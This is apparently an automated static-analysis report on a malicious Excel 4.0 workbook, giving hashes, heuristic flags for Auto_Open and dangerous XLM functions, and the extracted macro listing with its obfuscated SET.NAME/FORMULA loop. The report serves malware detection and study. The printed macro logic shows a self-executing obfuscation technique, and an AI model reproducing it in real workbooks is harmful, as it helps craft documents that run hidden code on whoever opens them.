Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 456ed096ca219af3…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:53 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 2eaee177cf9af3da6e797dd35cd59982 SHA-1: 1b45a725cb8f1c15d4699e86b4ef4b249c7963ce SHA-256: 456ed096ca219af3be428d557677a770b8ffea11714a69c6ba78b6d4e6e140a7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6612 bytes
SHA-256: e75d3fa71abed01f3822874bd81cbd7c75a3ed091d936ef4627ba9ebca66713c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fyXlOEvxJBC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F153 
' 0018     22 LABEL : Cell Value, String Constant - AySQfAb len=0 
' 0018     21 LABEL : Cell Value, String Constant - fMonQu len=0 
' 0018     23 LABEL : Cell Value, String Constant - FOUOihdb len=0 
' 0018     24 LABEL : Cell Value, String Constant - FxYUBaHYx len=0 
' 0018     21 LABEL : Cell Value, String Constant - iXlgwT len=0 
' 0018     24 LABEL : Cell Value, String Constant - jOcIbHqwV len=0 
' 0018     25 LABEL : Cell Value, String Constant - lCTUCFnarw len=0 
' 0018     23 LABEL : Cell Value, String Constant - lKQEJuwO len=0 
' 0018     22 LABEL : Cell Value, String Constant - MRYQIfv len=0 
' 0018     25 LABEL : Cell Value, String Constant - nRSUoZIMVe len=0 
' 0018     21 LABEL : Cell Value, String Constant - NXaTzR len=0 
' 0018     25 LABEL : Cell Value, String Constant - oIVVURNIjk len=0 
' 0018     24 LABEL : Cell Value, String Constant - oQrYVIfVS len=0 
' 0018     20 LABEL : Cell Value, String Constant - qLNRR len=0 
' 0018     22 LABEL : Cell Value, String Constant - vdQQbAD len=0 
' 0018     24 LABEL : Cell Value, String Constant - XhFmVcMJT len=0 
' 0018     26 LABEL : Cell Value, String Constant - ykmwmrWHMCE len=0 
' 0018     22 LABEL : Cell Value, String Constant - YXtYyYy len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZMnsdzB len=0 
' 0018     21 LABEL : Cell Value, String Constant - zsexzJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fyXlOEvxJBC,F59,"SET.NAME("YXtYyYy",VALUE("0"))",""
'  fyXlOEvxJBC,F61,"SET.NAME("oIVVURNIjk",YXtYyYy)",""
'  fyXlOEvxJBC,F65,"SET.NAME("FxYUBaHYx",YXtYyYy)",""
'  fyXlOEvxJBC,F70,"SET.NAME("fMonQu",COUNTA(oQrYVIfVS))",""
'  fyXlOEvxJBC,F75,"SET.NAME("lCTUCFnarw",COUNTA(nRSUoZIMVe))",""
'  fyXlOEvxJBC,F78,[],""
'  fyXlOEvxJBC,F83,"SET.NAME("MRYQIfv","")",""
'  fyXlOEvxJBC,F86,"oIVVURNIjk",""
'  fyXlOEvxJBC,F89,"SET.NAME("vdQQbAD",HLOOKUP("*",oQrYVIfVS,oIVVURNIjk,FALSE))",""
'  fyXlOEvxJBC,F92,"ZMnsdzB",""
'  fyXlOEvxJBC,F97,"SET.NAME("zsexzJ",YXtYyYy)",""
'  fyXlOEvxJBC,F102,[],""
'  fyXlOEvxJBC,F106,"zsexzJ",""
'  fyXlOEvxJBC,F108,"jOcIbHqwV",""
'  fyXlOEvxJBC,F111,"XhFmVcMJT",""
'  fyXlOEvxJBC,F114,"lKQEJuwO",""
'  fyXlOEvxJBC,F119,"SET.NAME("NXaTzR",VALUE(HLOOKUP("*",nRSUoZIMVe,lKQEJuwO,FALSE)))",""
'  fyXlOEvxJBC,F122,"iXlgwT",""
'  fyXlOEvxJBC,F124,"MRYQIfv",""
'  fyXlOEvxJBC,F129,"FxYUBaHYx",""
'  fyXlOEvxJBC,F132,NEXT(),""
'  fyXlOEvxJBC,F135,"FOUOihdb",""
'  fyXlOEvxJBC,F140,"SET.NAME("f",INT(T(FORMULA(T(MRYQIfv)&"",""&T(FOUOihdb)))))",""
'  fyXlOEvxJBC,F144,"qLNRR",""
'  fyXlOEvxJBC,F147,NEXT(),""
'  fyXlOEvxJBC,F150,RETURN(),""
'  fyXlOEvxJBC,F175,"SET.NAME("ykmwmrWHMCE",F59)",""
'  fyXlOEvxJBC,F179,"oQrYVIfVS",""
'  fyXlOEvxJBC,F183,"SET.NAME("nRSUoZIMVe",R87C15)",""
'  fyXlOEvxJBC,F187,"SET.NAME("qLNRR",197)",""
'  fyXlOEvxJBC,F192,"SET.NAME("AySQfAb",6)",""
'  fyXlOEvxJBC,F196,ykmwmrWHMCE(),""
'  fyXlOEvxJBC,F197,HALT(),""

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